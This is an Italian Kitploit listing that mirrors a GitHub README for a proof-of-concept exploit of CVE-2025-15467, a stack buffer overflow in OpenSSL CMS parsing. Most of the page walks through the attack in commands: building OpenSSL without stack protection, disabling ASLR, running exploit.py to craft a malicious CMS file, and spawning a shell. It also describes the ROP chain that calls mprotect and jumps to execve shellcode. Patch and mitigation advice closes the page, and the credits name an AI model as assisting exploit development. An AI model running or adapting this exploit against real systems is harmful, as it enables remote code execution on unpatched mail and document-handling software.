Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-15467 — PoC di esecuzione di comandi per stack buffer overflow in OpenSSL CVE-2025-15467 | Kitploit
Strumenti/GitHubGitHub/guiimoraes/cve-2025-15467
Analisi delle VulnerabilitàExploitReverse EngineeringShellcodeCrittografiaApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

PoC di esecuzione di comandi per stack buffer overflow in OpenSSL CVE-2025-15467

Vedi Repository
1535 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-15467: Stack Buffer Overflow in OpenSSL CMS AuthEnvelopedData

Panoramica

CVE-2025-15467 è una vulnerabilità critica di stack buffer overflow nel codice di parsing CMS (Cryptographic Message Syntax) di OpenSSL. La vulnerabilità è presente nella funzione evp_cipher_get_asn1_aead_params() quando vengono elaborati i vettori di inizializzazione (IV) AES-GCM nelle strutture CMS AuthEnvelopedData.

ProprietàValore
ID CVECVE-2025-15467
GravitàAlta
CVSS8.1+
Versioni interessateOpenSSL 3.0 - 3.6 (prima delle patch)
ImpattoEsecuzione di codice remoto (RCE)
Vettore di attaccoRete (elaborazione di CMS/S-MIME maliziosi)
AutenticazioneNon richiesta

Dettagli della vulnerabilità

Causa principale

La vulnerabilità si trova in crypto/evp/evp_lib.c:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

Il bug

  1. iv è un buffer stack fisso di 16 byte (EVP_MAX_IV_LENGTH = 16)
  2. La prima chiamata a ossl_asn1_type_get_octetstring_int() restituisce la lunghezza dell'IV dal file
  3. La seconda chiamata usa questa lunghezza (i) come parametro max_len
  4. Se i > 16, la funzione scrive oltre il buffer → Stack Buffer Overflow

Sfruttamento

L'overflow si verifica durante la decrittazione CMS quando vengono elaborati i parametri GCM. Un attaccante può:

  1. Creare un file CMS AuthEnvelopedData malizioso con un IV di dimensioni eccessive
  2. Far traboccare il buffer stack per sovrascrivere l'indirizzo di ritorno
  3. Reindirizzare l'esecuzione verso uno shellcode controllato dall'attaccante
  4. Ottenere l'esecuzione di codice remoto

Applicazioni interessate

Qualsiasi applicazione che elabora contenuti CMS/PKCS#7 non attendibili con cifrari AEAD:

  • Client email che elaborano messaggi S/MIME
  • Applicazioni di firma documenti
  • Strumenti di gestione certificati
  • Implementazioni VPN/TLS che utilizzano CMS
  • Qualsiasi software che richiama CMS_decrypt() o funzioni simili

Prova di concetto

Prerequisiti

root@kitploit:~
# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

Oppure manualmente:

root@kitploit:~
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

Genera un certificato di test

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

Metodo 1: Modalità automatica (consigliata)

L'exploit può rilevare automaticamente gli indirizzi quando ASLR è disabilitato:

root@kitploit:~
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

Metodo 2: Indirizzi manuali (tramite GDB)

Se il rilevamento automatico fallisce, ottieni gli indirizzi manualmente:

root@kitploit:~
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

Output di esempio:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

Quindi genera l'exploit:

root@kitploit:~
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

Come funziona l'exploit

  1. Patch del CMS valido: Prende un file CMS valido e sostituisce l'IV di 12 byte con un payload malizioso
  2. Overflow dello stack: L'IV sovradimensionato fa traboccare il buffer di 16 byte, sovrascrivendo i registri salvati e l'indirizzo di ritorno
  3. Catena ROP: Utilizza la Return-Oriented Programming per chiamare mprotect() e rendere lo stack eseguibile
  4. Esecuzione dello shellcode: Dopo mprotect(), salta allo shellcode sullo stack tramite il gadget jmp rsp
  5. Shell: Esegue execve("/bin/sh", NULL, NULL) per avviare una shell

Struttura della catena ROP

root@kitploit:~
[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

File

FileDescrizione
exploit.pyExploit principale con modalità automatica e manuale
setup.sh

Mitigazioni

Per gli utenti

  1. Aggiorna OpenSSL alle versioni corrette:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. Non elaborare contenuti CMS/S-MIME non attendibili finché non è stata applicata la patch

Per gli sviluppatori

  1. Validare la lunghezza dell'IV prima della copia:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. Usare il max_len corretto nella seconda chiamata:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

Cronologia

DataEvento
2025-12-14Vulnerabilità segnalata a OpenSSL
2026-01-27Advisory di sicurezza pubblicato
2026-01-27Patch rilasciate

Riferimenti

  • Advisory di sicurezza OpenSSL
  • CVE-2025-15467

Crediti

  • Guilherme Moraes (@guiimoraes) - Sviluppo dell'exploit
  • Claude Opus 4.5 (Anthropic) - Ricerca e sviluppo assistiti dall'IA

Disclaimer

Questa prova di concetto è fornita esclusivamente a scopo educativo e per test di sicurezza autorizzati. L'accesso non autorizzato ai sistemi informatici è illegale. Utilizzare in modo responsabile.

Licenza

Licenza MIT - Consultare il file LICENSE per i dettagli.

Scarica lo strumento
Script per compilare OpenSSL vulnerabile
README.mdQuesta documentazione
TECHNICAL.mdAnalisi tecnica approfondita della vulnerabilità